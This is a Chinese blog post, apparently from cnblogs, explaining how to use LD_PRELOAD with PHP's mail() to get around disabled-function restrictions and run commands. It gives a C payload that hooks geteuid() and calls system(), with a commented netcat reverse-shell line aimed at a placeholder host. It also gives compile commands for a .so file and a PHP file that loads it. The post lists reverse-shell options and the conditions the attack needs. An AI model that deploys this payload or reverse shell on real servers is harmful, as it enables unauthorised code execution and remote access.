首页 > 其他分享 >LD_PRELOAD

LD_PRELOAD

时间:2023-12-05 23:34:40浏览次数:28  
标签:PRELOAD LD shell hack 动态链接库 mail

修改库文件

它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。使用自己的或是更好的函数(无需别人的源码)也可以向别人的程序注入恶意程序

使用内嵌在PHP的mail()函数

image.png
image.png

Payload

1.创建hack.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
	void payload() {
											system( "ls /var/www/html > /tmp/smity");//可以nc或bash反弹shell
												//nc xxxxx 7777 -e /bin/bash														
									}
int geteuid() {
				if (getenv("LD_PRELOAD") == NULL) { return 0; }
		unsetenv("LD_PRELOAD");
		payload();
							}




2.将带有命令的c文件编译成为.so文件然后通过代码执行传入

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

3.创建hack.php文件并上传

 <?php
	putenv("LD_PRELOAD=./hack.so");
	mail('','','','');
 ?>

访问hack.php

或使用nc直接反弹shell
或蚁剑连接后使用插件直接拿到shell
或是使用pcntl_exec nc反弹shell

使用条件

能够上传自己的.so文件;
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、 imap_mail()、 mb_send_mail()和error_log()等。

标签:PRELOAD,LD,shell,hack,动态链接库,mail
From: https://www.cnblogs.com/Kawakaze777/p/17878571.html

相关文章

  • install goldendict-ng-git
    manjaro升级后,goldendict不能启动了,重新安装总是出错,原来是官方的版本不支持qt6了,查阅archlinux文档,获知goldendic-ng-git支持qt6,安装步骤如下,需要的同学可以参看。1.获取PKGBUILD文件,gitclone https://aur.archlinux.org/goldendict-ng-git.git2.安装必须的依赖,可能有......
  • 初中生就能看懂的Python教程 - 1. hello world、print与对象类型
    上一篇教程我们讲了如何安装Python。可以开始编程了。这一篇文章讲解有关print与变量的内容。不过我没讲怎么使用IDLE。在这里补充一下。PythonIDLE的使用下载完Python之后我们应该可以在开始菜单找到一个程序叫做IDLE,这也是新手最常用的Python编辑器,Python自带的。打开IDLE......
  • Guo_AD-NeRF_Audio_Driven_Neural_Radiance_Fields_for_Talking_Head_Synthesis_ICCV_
    可以看看这个向量场的虚拟人像的效果.看论文第三章: 3.2: F_theta是一个神经网络,a是声音d是viewdirection,x是3dlocation.普通的向量场是F_theta:d,x--->(c,σ)表示d是一个方向,表示观看者水平的偏移角度和数值的偏移角度.x是一个3d坐标表示看物......
  • Spring 中的 URL 处理工具类 UriComponentsBuilder
    UriComponentsBuilder是SpringFramework中的一个用于构建URI(UniformResourceIdentifier)和URL(UniformResourceLocator)的实用程序类。它提供了一种简单的方式来构建包含各种部分(如协议、主机、路径、查询参数等)的URI和URL,并支持对这些部分进行修改、替换和合并等操作。以下是......
  • Python报错:pkg-config could not find libraries ['avformat', 'avcodec', 'avdev
    参考:https://github.com/PyAV-Org/PyAV/issues/238https://pyav.org/docs/6.1.2/installation.html#mac-os-x  =====================  报错信息:C:\Users\liuxue>pipinstallavCollectingavUsingcachedav-0.3.3.tar.gzInstallingcollectedpackages:av......
  • Java环境变量配置及报错java --version Error: could not open `D:\APP\Develop\JA
    C:\Users\Administrator>java--versionError:couldnotopen`D:\APP\Develop\JAVA\jre\lib\amd64\jvm.cfg'Java环境变量的配置控制面板→系统→高级系统设置→环境变量在下方系统变量中新建在下方系统变量中找到Path,双击打开,新建两个%JAVA_HOME%\bin%JAVA_HOME%\jre\b......
  • surrealdb 试用
    surrealdb是一个很不错的多模数据库,以下是一个简单试用环境准备基于docker-composedocker-compose文件添加了本地存储 version:"3"services:db:image:surrealdb/surrealdb:latestcommand:start--logtrace--userroot-......
  • Unity DOTS Baking System与Baking World
    最近DOTS终于发布了正式的版本,我们来分享一下DOTS里面Baking阶段,BakingSystem,BakingWorld的关键概念,方便大家上手学习掌握UnityDOTS开发。Unity在Baking也是基于ECS模式开发设计的,所以Baking的时候也会有BakingSystem与BakingWorld,把Baking出来的数据放到BakingWorld里面......
  • Could not update Activiti database schema
    原因:activiti相关的jar版本和表act_ge_property中schema.version所存储的版本不一致导致报错的。解决:查看activiti相关jar版本,然后修改表中的版本就可以了https://blog.csdn.net/qq_42277520/article/details/123507780......
  • 用matplot和seaborn作图,出现This application failed to start because not Qt platfo
    用matplotlib和seaborn作图,出现这样的弹窗: 尝试过增加环境变量的方法没有解决。使用了一种临时的解决方法:importmatplotlibmatplotlib.use('TKAgg')如果不需要图形化界面,只需要运行后的参数可以使用:importmatplotlibmatplotlib.use('Agg') ......